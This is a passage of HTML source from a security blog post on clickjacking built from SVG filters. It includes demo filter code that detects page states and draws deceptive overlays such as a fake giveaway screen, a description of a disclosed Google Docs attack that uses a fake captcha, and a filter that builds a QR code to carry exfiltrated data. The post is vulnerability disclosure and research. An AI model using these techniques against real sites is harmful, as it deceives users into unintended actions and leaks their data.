220&#39; fill=&#39;%23333&#39; style=&#39;font-size-adjust: 0.478;font: 16px Charter, %22Bitstream Charter%22, %22Sitka Text%22, Cambria, serif&#39; xmlns=&#39;http://www.w3.org/2000/svg&#39;&gt; &lt;rect x=&#39;2&#39; y=&#39;2&#39; width=&#39;416&#39; height=&#39;216&#39; /&gt; &lt;text x=&#39;20&#39; y=&#39;35&#39; style=&#39;font-size:150%&#39; fill=&#39;%23FFF&#39;&gt;Yay!&lt;/text&gt; &lt;text x=&#39;20&#39; y=&#39;60&#39; fill=&#39;%23FFF&#39;&gt;You&#39;ve been signed up for our iPod giveaway!&lt;/text&gt;&lt;/svg&gt;&#34; x=0 y=0 width=420 height=220 result=end.png&gt;&lt;/feImage&gt;&#xA;&lt;!-- D (dialog visible) --&gt;&#xA;&lt;feTile x=&#34;4px&#34; y=&#34;4px&#34; width=&#34;4&#34; height=&#34;4&#34; in=SourceGraphic /&gt;&#xA;&lt;feTile x=&#34;0&#34; y=&#34;0&#34; width=&#34;100%&#34; height=&#34;100%&#34; /&gt;&#xA;&lt;feBlend mode=difference in2=white /&gt;&#xA;&lt;feComposite operator=arithmetic k2=100 k4=-1 result=D /&gt;&#xA;&lt;!-- L (dialog loaded) --&gt;&#xA;&lt;feTile x=&#34;313px&#34; y=&#34;141px&#34; width=&#34;4&#34; height=&#34;4&#34; in=SourceGraphic /&gt;&#xA;&lt;feTile x=&#34;0&#34; y=&#34;0&#34; width=&#34;100%&#34; height=&#34;100%&#34; result=&#34;dialogBtn&#34; /&gt;&#xA;&lt;feBlend mode=difference in2=white /&gt;&#xA;&lt;feComposite operator=arithmetic k2=100 k4=-1 result=L /&gt;&#xA;&lt;!-- C (checkbox checked) --&gt;&#xA;&lt;feFlood flood-color=#0B57D0 /&gt;&#xA;&lt;feBlend mode=difference in=dialogBtn /&gt;&#xA;&lt;feComposite operator=arithmetic k2=4 k4=-1 /&gt;&#xA;&lt;feComposite operator=arithmetic k2=100 k4=-1 /&gt;&#xA;&lt;feColorMatrix type=matrix&#xD;&#xA;values=&#34;1 1 1 0 0&#xD;&#xA;1 1 1 0 0&#xD;&#xA;1 1 1 0 0&#xD;&#xA;1 1 1 1 0&#34; /&gt;&#xA;&lt;feBlend mode=difference in2=white result=C /&gt;&#xA;&lt;!-- R (red text visible) --&gt;&#xA;&lt;feMorphology operator=erode radius=3 in=SourceGraphic /&gt;&#xA;&lt;feTile x=&#34;17px&#34; y=&#34;150px&#34; width=&#34;4&#34; height=&#34;4&#34; /&gt;&#xA;&lt;feTile x=&#34;0&#34; y=&#34;0&#34; width=&#34;100%&#34; height=&#34;100%&#34; result=redtext /&gt;&#xA;&lt;feColorMatrix type=matrix&#xD;&#xA;values=&#34;0 0 1 0 0&#xD;&#xA;0 0 0 0 0&#xD;&#xA;0 0 0 0 0&#xD;&#xA;0 0 1 0 0&#34; /&gt;&#xA;&lt;feComposite operator=arithmetic k2=2 k3=-5 in=redtext /&gt;&#xA;&lt;feColorMatrix type=matrix&#xD;&#xA;values=&#34;1 0 0 0 0&#xD;&#xA;1 0 0 0 0&#xD;&#xA;1 0 0 0 0&#xD;&#xA;1 0 0 0 1&#34; result=R /&gt;&#xA;&lt;!-- Attack overlays --&gt;&#xA;&lt;feColorMatrix type=matrix in=R&#xD;&#xA;values=&#34;0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0&#34; /&gt;&#xA;&lt;feComposite in=end.png operator=in /&gt;&#xA;&lt;feBlend in2=button1.png /&gt;&#xA;&lt;feBlend in2=SourceGraphic result=out /&gt;&#xA;&lt;feColorMatrix type=matrix in=C&#xD;&#xA;values=&#34;0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0&#34; /&gt;&#xA;&lt;feComposite in=button2.png operator=in /&gt;&#xA;&lt;feBlend in2=checkbox.png result=loadedGraphic /&gt;&#xA;&lt;feColorMatrix type=matrix in=L&#xD;&#xA;values=&#34;0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0&#34; /&gt;&#xA;&lt;feComposite in=loadedGraphic operator=in /&gt;&#xA;&lt;feBlend in2=loading.png result=dialogGraphic /&gt;&#xA;&lt;feColorMatrix type=matrix in=D&#xD;&#xA;values=&#34;0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0&#34; /&gt;&#xA;&lt;feComposite in=dialogGraphic operator=in /&gt;&#xA;&lt;feBlend in2=out result=out /&gt;&#xA;&lt;!-- Show original --&gt;&#xA;&lt;feComposite operator=arithmetic k2=0.5 k3=0.5 in=SourceGraphic /&gt;&#xA;&lt;feComposite in2=debugEnabled operator=in /&gt;&#xA;&lt;feBlend in2=out result=out /&gt;&#xA;&lt;!-- Debug view --&gt;&#xA;&lt;feTile x=&#34;3px&#34; y=&#34;209px&#34; width=&#34;8&#34; height=&#34;8&#34; in=D /&gt;&#xA;&lt;feBlend in2=out result=out /&gt;&#xA;&lt;feTile x=&#34;12px&#34; y=&#34;209px&#34; width=&#34;8&#34; height=&#34;8&#34; in=L /&gt;&#xA;&lt;feBlend in2=out result=out /&gt;&#xA;&lt;feTile x=&#34;21px&#34; y=&#34;209px&#34; width=&#34;8&#34; height=&#34;8&#34; in=C /&gt;&#xA;&lt;feBlend in2=out result=out /&gt;&#xA;&lt;feTile x=&#34;30px&#34; y=&#34;209px&#34; width=&#34;8&#34; height=&#34;8&#34; in=R /&gt;&#xA;&lt;feBlend in2=out result=out /&gt;&#xA;&lt;/filter&gt;&#xA;&lt;/svg&gt;&lt;/p&gt;&#xA;&lt;p&gt;Play around with this and see just how much more convincing it is as an attack. And we could easily make it better by, for example, adding some extra logic to also add hover visuals to the buttons. The demo has debug visuals for the four inputs (D, L, C, R) in the bottom left as squares to make it easier to understand what&amp;rsquo;s going on.&lt;/p&gt;&#xA;&lt;p&gt;But yeah, that&amp;rsquo;s how you can make complex and long clickjacking attacks that have not been realistic with the traditional clickjacking methods.&lt;/p&gt;&#xA;&lt;p&gt;I kept this example here pretty short and simple, but real-world attacks can be a lot more involved and polished.&lt;/p&gt;&#xA;&lt;p&gt;In fact&amp;hellip;&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-docs-bug&#34;&gt;The Docs bug&lt;/h2&gt;&#xA;&lt;p&gt;I&amp;rsquo;ve actually managed to pull off this attack against Google Docs!&lt;/p&gt;&#xA;&lt;p&gt;Take a look at the demo videos &lt;a href=&#34;https://infosec.exchange/@rebane2001/115265287713185877&#34;&gt;here&lt;/a&gt; (alt links: &lt;a href=&#34;https://bsky.app/profile/rebane2001.bsky.social/post/3lzo4euxo5s2p&#34;&gt;bsky&lt;/a&gt;, &lt;a href=&#34;https://twitter.com/rebane2001/status/1971213061580259814&#34;&gt;twitter&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;What this attack does is:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Makes the user click on the &amp;ldquo;Generate Document&amp;rdquo; button&lt;/li&gt;&#xA;&lt;li&gt;Once pressed, detects the popup and shows a textbox for the user to type a &amp;ldquo;captcha&amp;rdquo; into&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The textbox starts off with a gradient animation, which must be handled&lt;/li&gt;&#xA;&lt;li&gt;The textbox has focus states, which must also be present in the attack visuals, so they must be detected by the background color of the textbox&lt;/li&gt;&#xA;&lt;li&gt;The textbox has grey text for both a placeholder AND suggestions, which must be hidden with the technique discussed earlier&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Once the captcha is typed, makes the user seemingly click on a button (or press enter), which causes a suggested Docs item to be added into the textbox&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This item must be detected by looking for its background color in the textbox&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Once the item is detected, the textbox must be hidden and another button must be shown instead&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Once that button is clicked, a loading screen appears, which must be detected&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;If the loading screen is present, or the dialog is not visible and the &amp;ldquo;Generate Document&amp;rdquo; button is not present, the attack is over and the final screen must be shown&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In the past, individual parts of such an attack could&amp;rsquo;ve been pulled off through traditional clickjacking and some basic CSS, but the entire attack would&amp;rsquo;ve been way too long and complex to be realistic. With this new technique of running logic inside SVG filters, such attacks become realistic.&lt;/p&gt;&#xA;&lt;p&gt;Google VRP awarded me &lt;span style=&#34;font-weight:900;color:green;text-shadow:1px 1px 2px #FFF&#34;&gt;$3133.70&lt;/span&gt; for the find. That was, of course, &lt;a href=&#34;https://infosec.exchange/@rebane2001/115349916882356842&#34;&gt;right before&lt;/a&gt; they introduced a novelty bonus for new vulnerability classes. Hmph!&lt;sup id=&#34;fnref:10&#34;&gt;&lt;a href=&#34;#fn:10&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;10&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;!--&#xD;&#xA;Should be something like opening the settings, scrolling down to the desired item, selecting it, then selecting the thing on the side and typing something in.&#xD;&#xA;&#xD;&#xA;maybe add in a loading spinner or something too that we can pixel detect&#xD;&#xA;&#xD;&#xA;maybe it could be like generating an app password or something like that&#xD;&#xA;&#xD;&#xA;the scrolling down could be a license agreement spoof&#xD;&#xA;the typing something should be a captcha spoof&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;--&gt;&#xD;&#xA;&lt;h2 id=&#34;the-qr-attack&#34;&gt;The QR attack&lt;/h2&gt;&#xA;&lt;p&gt;Something I see in online discussions often is the insistence on QR codes being dangerous. It kind of rubs me the wrong way because QR codes are not any more dangerous than links.&lt;/p&gt;&#xA;&lt;p&gt;I don&amp;rsquo;t usually comment on this too much because it&amp;rsquo;s best to avoid suspicious links, and the same goes for QR codes, but it does nag me to see people make QR codes out to be this evil thing that can somehow immediately hack you.&lt;/p&gt;&#xA;&lt;p&gt;I turns out though, that my SVG filters attack technique can be applied to QR codes as well!&lt;/p&gt;&#xA;&lt;p&gt;The example from earlier in the blog with retyping a code becomes impractical once the user realizes they&amp;rsquo;re typing something they shouldn&amp;rsquo;t. We can&amp;rsquo;t stuff the data we exfiltrate into a link either, because an SVG filter cannot create a link.&lt;/p&gt;&#xA;&lt;p&gt;But since an SVG filter can run logic and provide visual output, perhaps we could generate a QR code with a link instead?&lt;/p&gt;&#xA;&lt;h3 id=&#34;creating-the-qr&#34;&gt;Creating the QR&lt;/h3&gt;&#xA;&lt;p&gt;Creating a QR code within an SVG filter is easier said than done however. We can shape binary data into the shape of a QR code by using &lt;code&gt;feDisplacementMap&lt;/code&gt;, but for a QR code to be scannable it also needs error correction data.&lt;/p&gt;&#xA;&lt;p&gt;QR codes use &lt;a href=&#34;https://en.wikipedia.org/wiki/Reed%E2%80%93Solomon_error_correction&#34;&gt;Reed-Solomon error correction&lt;/a&gt;, which is some fun math stuff that&amp;rsquo;s a bit more advanced than a simple checksum. It does math with polynomials and stuff and that is a bit annoying to reimplement in an SVG.&lt;/p&gt;&#xA;&lt;p&gt;Luckily for us, I&amp;rsquo;ve faced the same problem before! Back in 2021 I was the first person&lt;sup id=&#34;fnref:11&#34;&gt;&lt;a href=&#34;#fn:11&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;11&lt;/a&gt;&lt;/sup&gt; to &lt;a href=&#34;https://www.planetminecraft.com/project/rebane-s-qr-code-generator/&#34;&gt;make a QR code generator in Minecraft&lt;/a&gt;, so I&amp;rsquo;ve already figured out the things necessary.&lt;/p&gt;&#xA;&lt;p&gt;In my build I pre-calculated some lookup tables for the error correction, and used those instead to make the build simpler - and we can do the same with the SVG filter.&lt;/p&gt;&#xA;&lt;p&gt;This post is already getting pretty long, so I&amp;rsquo;ll leave figuring out how this filter works as an exercise to the reader ;).&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;art-frame class=&#34;qr-demo&#34; flex center style=&#34;padding: 16px&#34;&gt;&lt;qr-demo&gt;&#xD;&#xA;&lt;qr-gen class=&#34;force-visibility&#34;&gt;&#xD;&#xA;  &lt;qr-filter&gt;&lt;qr-filter&gt;&lt;qr-filter&gt;&lt;qr-filter&gt;&lt;qr-filter&gt;&lt;qr-filter&gt;&lt;qr-filter&gt;&lt;qr-filter&gt;&lt;qr-filter&gt;&lt;qr-filter&gt;&lt;qr-filter&gt;&lt;qr-filter&gt;&lt;qr-filter&gt;&lt;qr-filter&gt;&lt;qr-filter&gt;&lt;qr-filter&gt;&lt;qr-filter&gt;&lt;qr-filter&gt;&lt;qr-filter&gt;&#xD;&#xA;    &lt;div style=&#34;width:256px;height:256px;background:#000;position:relative&#34;&gt;&#xD;&#xA;        &lt;div style=&#34;width:8px;height:216px;translate: 0 0px;filter:url(#qrBase)&#34;&gt;&lt;/div&gt;&#xD;&#xA;  &lt;qr-bit b1 d1&gt;&lt;/qr-bit&gt;&#xD;&#xA;  &lt;qr-bit b2 d1&gt;&lt;/qr-bit&gt;&#xD;&#xA;  &lt;qr-bit b3 d1&gt;&lt;/qr-bit&gt;&#xD;&#xA;  &lt;qr-bit b4 d1&gt;&lt;/qr-bit&gt;&#xD;&#xA;  &lt;qr-bit b1 d2&gt;&lt;/qr-bit&gt;&#xD;&#xA;  &lt;qr-bit b2 d2&gt;&lt;/qr-bit&gt;&#xD;&#xA;  &lt;qr-bit b3 d2&gt;&lt;/qr-bit&gt;&#xD;&#xA;  &lt;qr-bit b4 d2&gt;&lt;/qr-bit&gt;&#xD;&#xA;  &lt;qr-bit b1 d3&gt;&lt;/qr-bit&gt;&#xD;&#xA;  &lt;qr-bit b2 d3&gt;&lt;/qr-bit&gt;&#xD;&#xA;  &lt;qr-bit b3 d3&gt;&lt;/qr-bit&gt;&#xD;&#xA;  &lt;qr-bit b4 d3&gt;&lt;/qr-bit&gt;&#xD;&#xA;  &lt;qr-bit b1 d4&gt;&lt;/qr-bit&gt;&#xD;&#xA;  &lt;qr-bit b2 d4&gt;&lt;/qr-bit&gt;&#xD;&#xA;  &lt;qr-bit b3 d4&gt;&lt;/qr-bit&gt;&#xD;&#xA;  &lt;qr-bit b4 d4&gt;&lt;/qr-bit&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;  &lt;/qr-filter&gt;&lt;/qr-filter&gt;&lt;/qr-filter&gt;&lt;/qr-filter&gt;&lt;/qr-filter&gt;&lt;/qr-filter&gt;&lt;/qr-filter&gt;&lt;/qr-filter&gt;&lt;/qr-filter&gt;&lt;/qr-filter&gt;&lt;/qr-filter&gt;&lt;/qr-filter&gt;&lt;/qr-filter&gt;&lt;/qr-filter&gt;&lt;/qr-filter&gt;&lt;/qr-filter&gt;&lt;/qr-filter&gt;&lt;/qr-filter&gt;&lt;/qr-filter&gt;&#xD;&#xA;&lt;/qr-gen&gt;&#xD;&#xA;&lt;/qr-demo&gt;&lt;div class=&#34;hovertoseeqr&#34;&gt;Hover to see QR&lt;/div&gt;&lt;/art-frame&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;style type=&#34;text/css&#34;&gt;&#xD;&#xA;  qr-gen {&#xD;&#xA;    display: block;&#xD;&#xA;    width:256px;&#xD;&#xA;    height:256px;&#xD;&#xA;    filter: url(#combino);&#xD;&#xA;    qr-filter {&#xD;&#xA;      display:block;&#xD;&#xA;      width:256px;&#xD;&#xA;      height:256px;&#xD;&#xA;/*      filter:url(#qr3);*/&#xD;&#xA;    }&#xD;&#xA;    image-rendering: pixelated;&#xD;&#xA;  }&#xD;&#xA;  .qr-demo {&#xD;&#xA;    box-sizing: border-box;&#xD;&#xA;    .hovertoseeqr { &#xD;&#xA;      position: absolute;&#xD;&#xA;      background: #8CFFDB;&#xD;&#xA;      border-radius: 4px;&#xD;&#xA;      padding: 8px 12px;&#xD;&#xA;      user-select: none;&#xD;&#xA;      pointer-events: none;&#xD;&#xA;      opacity: 1;&#xD;&#xA;      transition: opacity 0.2s;&#xD;&#xA;    }&#xD;&#xA;    qr-demo {&#xD;&#xA;      filter: blur(3px);&#xD;&#xA;      transition: filter 0.2s;&#xD;&#xA;    }&#xD;&#xA;    qr-bit {&#xD;&#xA;      opacity: 0;&#xD;&#xA;    }&#xD;&#xA;    &amp;:focus-within, &amp;:hover, &amp;:has(:hover), &amp;:active {&#xD;&#xA;      .hovertoseeqr {&#xD;&#xA;        opacity: 0;&#xD;&#xA;      }&#xD;&#xA;      qr-demo {&#xD;&#xA;        filter: none;&#xD;&#xA;      }&#xD;&#xA;      qr-bit {&#xD;&#xA;        opacity: 1;&#xD;&#xA;      }&#xD;&#xA;      qr-filter {&#xD;&#xA;        filter:url(#qr3);&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;p&gt;&lt;svg&#xD;&#xA;class=&#34;effect&#34;&#xD;&#xA;width=&#34;256&#34;&#xD;&#xA;height=&#34;256&#34;&#xD;&#xA;viewBox=&#34;0 0 256 256&#34;&#xD;&#xA;xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&#xA;&lt;filter id=&#34;qrBase&#34; color-interpolation-filters=sRGB&gt;&#xA;&lt;feImage xlink:href=&#34;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAIAAADYCAIAAABOcaU6AAAAWUlEQVR4nO2TwQrAMAxCo///z9lhp4FUU3YYZe/WRhEbWmVBd3uVU+Ixw33iNAjKt0qQPpYAKh2beeOny/MYz6BK00t2l5qDRZWDfDmI90B/Of4Pr3b/+SIX0ipi7T7I/bcAAAAASUVORK5CYII=&#34; x=0 y=0 width=&#34;2&#34; height=&#34;216&#34; /&gt;&#xA;&lt;/filter&gt;&#xA;&lt;filter id=&#34;qr3&#34; color-interpolation-filters=&#34;sRGB&#34;&gt;&#xA;&lt;!-- polynomials table for qr --&gt;&#xA;&lt;feImage xlink:href=&#34;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAQEAAABICAIAAAB5rte6AAAFmklEQVR4nO1d0ZLkIAiUq/n/X+bqarM5E4MBBxJQeJh1nbZtUKJmMrulpKWlpaWlpaWlpaWtavC2gNUN3xaQFj4Hos+h8ANQwg/BJ3qArOdQ9AHOIdDPATQOkLXD0fVP4AI60/+REoFSx8n/ehfJf5EDSBBRjROvi3coCRfAf+oqaN7O+mfqHUrCderxt5Svb72+LgDXft3Wh30wTilCLR/ASLh+Wy1+dKZHyg/+JK02BP9+nJaCvbLGnWr4eC0eDmdE/YpSZw1RMdZP3heCX8RPoc0kbDAinoEbXlS/Ij0D/or0FCV/FbuwDhEYD7H1FP1I5wFHHCWI6cwlj7RfCs+Z39SEY/ZL+XXb7wQuQMApZP45sbVxLpDUhYGDp8pa/f7YBC7ENfMciD5HpRsGh5ZDoP+sROiLygMTwtpyCIrqEPypZbXnmJ+aNhepeikPhefzUNr4nDtYxMOPya0e6y6sQ2Q9xGN4Ps9WqHHUVaHFlG4W9nkovLUeKT8Y68H4LkSfQn/w+B61uFAYajHl8HA4LfRo6dTSM4ELaMxvqif8faHoxtzjcu7NS3koPBjrkfJbxyd8DkDwCTSBQfAhOJyJ+2dN6mDUtuIcwqjDDVUv5eFwcnjG/OXHE+O7EH0KbYW6vzZvasxpI5t4FbxDSbgMfrsOnQ4KAw9UU29J8VIea35rPQ+EyFtIUUmnlp7DolGnTm0XqdM2FvJQeDDWI+UvxnoGuvbmAhjzF2M9/++N7juk0z4JrpLmtIK3j6rWsEueum0No3iofgf0iPyV6pH6W+xDJHUZhCG1DpH1EEOU6zGnrQc9Un7wJ2m1ISC/T9ymCEXRdtOy9Xk4h5gWQ7Xt80j9pXzh9Mv3N4egvDgE9ZpCLUydvcFtWw5mZX5cz+XijP//OkBdnE71nQenLuuph6Xa9evy1vJtW2t+6/js5YEmTEneQopC/uGQ8ofs2k4tb40kSv4h/glcwCj80r3QA3sD04XPm34j2TOFqBjr33Kj/qVfLmxk/yCixS8te/MX/ElabQgOOWGR9NYXlej8eSYub/OT60ARJtlbeOnFwKdfDiWB2fXbm1/b58TtSbldo+tk4uNrTN2WumMgxWvxUHitOFD4MoULGHkKketAbhbHymN6cgjKe0NwGIjT6nyia42DRyUeCg9KPB70T+ACfsHzmv524cjyk+XXBZTly6CV3NJk1eJHZ3qk/J11IIegNQv+fGbuxl/KF06/fH9zCMp7Q0DlD2lUglIGxvzFmZ4H/PXmQgkeUpKfsxhZdIzO8G/FJ5ALYIwvxv2anweibxbBWA/GdyH6FPo8uTmTbi4t9Ej5reMD9vt7KR6M9WhNFS09/37skapDVr9eVho91OENb93vAyGKEmpkaLboF6jE0qpvk1K3L5hC/wQuYFj9h0tRCVj2o2Ss/LoA/LrsR8lY+fC3Fi3K1B/H0yrbKa/NzosHQvRMoNDMC2vlh70QBCwXl6oGvPAgA4bKJXrwO+cJlVdT8gdeJ+jCQxjRcXxOC+a97bKMTCwouP4BPauFyFo/mBMZ86MzPVr8gVwAZ3qk/IfPyFoo/0ZY/W6f8xueFi/lofCUzn799/2ifRe6PNDgx1zm+9uv/77fw3cp6/NyfTavx6ku15jTu5df5DuNN+f2DudLd9H1S5tIJUldLsKQRtcv3gtp7UkS38c7lIST4g//j4yzDCVeF4+88ePsChI/hgfdfW3ix/AOJeEy+G1vdNp47b9m/QP1DiXhSvWHvZD0rzFnvW69Q0mwQL3580JZvn2eyvp5oSzf3jjaqqJu5oLo7OMdSgI2vkSfQtTzJJeVdUsmXovnLfwD/Vp34S2kKMRb9wvSBKLKUh4KD0o8sfRP4ALG1Y/CxJImnDRxF+SfwAUMzp+WlpaWlpaWlpaWVta0v03L/OuYEEVvAAAAAElFTkSuQmCC&#34; x=0 y=0 width=257 height=72 result=tbl&gt;&lt;/feImage&gt;&#xA;&lt;!-- Take bits 4-11 and use it as an offset into the table --&gt;&#xA;&lt;!-- 8 bits into 1 byte - Note that if the result is 0x00, it gets output as 0x01 --&gt;&#xA;&lt;feTile x=0 y=11 width=1 height=1 in=SourceGraphic color-interpolation-filters=&#34;linearRGB&#34; /&gt;&#xA;&lt;feTile x=0 y=0 width=1 height=12 /&gt;&#xA;&lt;feComposite operator=arithmetic k2=0.50196 k3=0 result=out /&gt;&#xA;&lt;!----&gt;&#xA;&lt;feTile x=0 y=10 width=1 height=1 in=SourceGraphic color-interpolation-filters=&#34;linearRGB&#34; /&gt;&#xA;&lt;feTile x=0 y=0 width=1 height=12 /&gt;&#xA;&lt;feComposite operator=arithmetic k2=0.50196 k3=0.50196 in2=out result=out /&gt;&#xA;&lt;!----&gt;&#xA;&lt;feTile x=0 y=9 width=1 height=1 in=SourceGraphic color-interpolation-filters=&#34;linearRGB&#34; /&gt;&#xA;&lt;feTile x=0 y=0 width=1 height=12 /&gt;&#xA;&lt;feComposite operator=arithmetic k2=0.50196 k3=0.50196 in2=out result=out /&gt;&#xA;&lt;!----&gt;&#xA;&lt;feTile x=0 y=8 width=1 height=1 in=SourceGraphic color-interpolation-filters=&#34;linearRGB&#34; /&gt;&#xA;&lt;feTile x=0 y=0 width=1 height=12 /&gt;&#xA;&lt;feComposite operator=arithmetic k2=0.50196 k3=0.50196 in2=out result=out /&gt;&#xA;&lt;!----&gt;&#xA;&lt;feTile x=0 y=7 width=1 height=1 in=SourceGraphic color-interpolation-filters=&#34;linearRGB&#34; /&gt;&#xA;&lt;feTile x=0 y=0 width=1 height=12 /&gt;&#xA;&lt;feComposite operator=arithmetic k2=0.50196 k3=0.50196 in2=out result=out /&gt;&#xA;&lt;!----&gt;&#xA;&lt;feTile x=0 y=6 width=1 height=1 in=SourceGraphic color-interpolation-filters=&#34;linearRGB&#34; /&gt;&#xA;&lt;feTile x=0 y=0 width=1 height=12 /&gt;&#xA;&lt;feComposite operator=arithmetic k2=0.50196 k3=0.50196 in2=out result=out /&gt;&#xA;&lt;!----&gt;&#xA;&lt;feTile x=0 y=5 width=1 height=1 in=SourceGraphic color-interpolation-filters=&#34;linearRGB&#34; /&gt;&#xA;&lt;feTile x=0 y=0 width=1 height=12 /&gt;&#xA;&lt;feComposite operator=arithmetic k2=0.50196 k3=0.50196 in2=out result=out /&gt;&#xA;&lt;!----&gt;&#xA;&lt;feTile x=0 y=4 width=1 height=1 in=SourceGraphic color-interpolation-filters=&#34;linearRGB&#34; /&gt;&#xA;&lt;feTile x=0 y=0 width=1 height=12 /&gt;&#xA;&lt;feComposite operator=arithmetic k2=0.50196 k3=0.50196 in2=out result=out /&gt;&#xA;&lt;feTile x=0 y=0 width=100% height=100% result=out /&gt;&#xA;&lt;!-- To red --&gt;&#xA;&lt;feColorMatrix type=matrix&#xD;&#xA;values=&#34;1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1&#34; /&gt;&#xA;&lt;!-- Fetch value from lookup table --&gt;&#xA;&lt;feDisplacementMap&#xD;&#xA;in=&#34;tbl&#34;&#xD;&#xA;scale=&#34;256&#34;&#xD;&#xA;xChannelSelector=&#34;R&#34;&#xD;&#xA;yChannelSelector=&#34;G&#34; /&gt;&#xA;&lt;feColorMatrix type=matrix&#xD;&#xA;values=&#34;1 0 0 0 0 1 0 0 0 0 1 0 0 0 0 0 0 0 0 1&#34; /&gt;&#xA;&lt;feOffset dx=&#34;-128&#34; dy=&#34;-128&#34; result=b /&gt;&#xA;&lt;feTile x=0 y=0 width=1 height=72 /&gt;&#xA;&lt;!-- Apply XOR --&gt;&#xA;&lt;feBlend mode=difference in2=SourceGraphic /&gt;&#xA;&lt;!-- Shift data --&gt;&#xA;&lt;feOffset dx=&#34;0&#34; dy=&#34;-8&#34; /&gt;&#xA;&lt;feTile x=0 y=0 width=1 height=100% /&gt;&#xA;&lt;feBlend in2=SourceGraphic /&gt;&#xA;&lt;feTile x=0 y=0 width=100% height=100% /&gt;&#xA;&lt;/filter&gt;&#xA;&lt;filter id=combino  color-interpolation-filters=&#34;sRGB&#34;&gt;&#xA;&lt;!-- Map input bytes into QR code shape --&gt;&#xA;&lt;feImage xlink:href=&#34;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIAAAACACAIAAABMXPacAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAZdEVYdFNvZnR3YXJlAFBhaW50Lk5FVCA1LjEuMTGKCBbOAAAAuGVYSWZJSSoACAAAAAUAGgEFAAEAAABKAAAAGwEFAAEAAABSAAAAKAEDAAEAAAADAAAAMQECABEAAABaAAAAaYcEAAEAAABsAAAAAAAAAKOTAADoAwAAo5MAAOgDAABQYWludC5ORVQgNS4xLjExAAADAACQBwAEAAAAMDIzMAGgAwABAAAAAQAAAAWgBAABAAAAlgAAAAAAAAACAAEAAgAEAAAAUjk4AAIABwAEAAAAMDEwMAAAAADY5TB4zfSjcAAAAd5JREFUeF7t1z1y00AUAGApl0rSpeYIHICKmhul5gCpqaBhwg0oKMNM2iRitavYGywZJvb42ZvvmzfSs6TxyG9/3QEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHIV+Op+kYTrvQVgdzqYzQRoYAbM/Id3qL751wzDF1/PxynTzhS1fcghtjIBUxDqe9cMYjzkm9WOri5GamYJSFy6xkqrfj/GYY23zyUhNrwEzI+DoNNwAufvPjIDj0kwDzE3r8yNg7kleZUsdy/XN46Z0fenWIRzv2PwP2wvXX3wfxj3or7wNfTddXRBWhwamoLKlWVWwyl+sAXUUdR4m/g12MI6Aq4/rf1vD/Xj8ct1dvs8ff47H7lPOb/OxxI91fvu5fFVYHU5/BNTdvOSpmvXHOn/KUV+P1kADVFudkqeRUX/cnkd7YyNgM48W/wY7+Mcu6Pxq3AV1H/J0n9eD4XeV3+U14GZ6uJwOr6VdUB1JmmdOYAQ00ABJnvfXUaQqL8z7dR6tjQZI6r5fpCov9Po6j9ZMA8xZ6vV1Hq3hBlju9XUerZkG+GsByJZ6fckfhu7JCNiP1QJQ4tlSry95+kv8UD0cJP4NdrDH/htWh6YXYQAAAAAAAAAAAAAAAAAAAJrTdX8Ad+QStY524CYAAAAASUVORK5CYII=&#34; x=0 y=0 width=128 height=128 result=displace&gt;&lt;/feImage&gt;&#xA;&lt;feDisplacementMap&#xD;&#xA;in=SourceGraphic&#xD;&#xA;in2=displace&#xD;&#xA;result=qrData&#xD;&#xA;scale=&#34;256&#34;&#xD;&#xA;xChannelSelector=&#34;R&#34;&#xD;&#xA;yChannelSelector=&#34;G&#34; /&gt;&#xA;&lt;!-- Extract and apply invert map --&gt;&#xA;&lt;feColorMatrix type=matrix in=displace&#xD;&#xA;values=&#34;0 0 1 0 0 0 0 1 0 0 0 0 1 0 0 0 0 0 0 1&#34; /&gt;&#xA;&lt;feBlend mode=difference in2=qrData /&gt;&#xA;&lt;feOffset dx=&#34;-62&#34; dy=&#34;-62&#34; result=qrCode /&gt;&#xA;&lt;!-- Scale the code up 4x --&gt;&#xA;&lt;feImage xlink:href=&#34;data:image/svg+xml,&amp;lt;svg width=&#39;128&#39; height=&#39;128&#39; viewBox=&#39;0 0 128 128&#39; xmlns=&#39;http://www.w3.org/2000/svg&#39;&amp;gt; &amp;lt;defs&amp;gt;&amp;lt;linearGradient id=&#39;bx&#39;&amp;gt;&amp;lt;stop style=&#39;stop-color:%23800080&#39; offset=&#39;0%&#39; /&amp;gt;&amp;lt;stop style=&#39;stop-color:%23000080&#39; offset=&#39;100%&#39; /&amp;gt;&amp;lt;/linearGradient&amp;gt;&amp;lt;linearGradient id=&#39;by&#39; gradientTransform=&#39;rotate(90)&#39;&amp;gt;&amp;lt;stop style=&#39;stop-color:%23008000&#39; 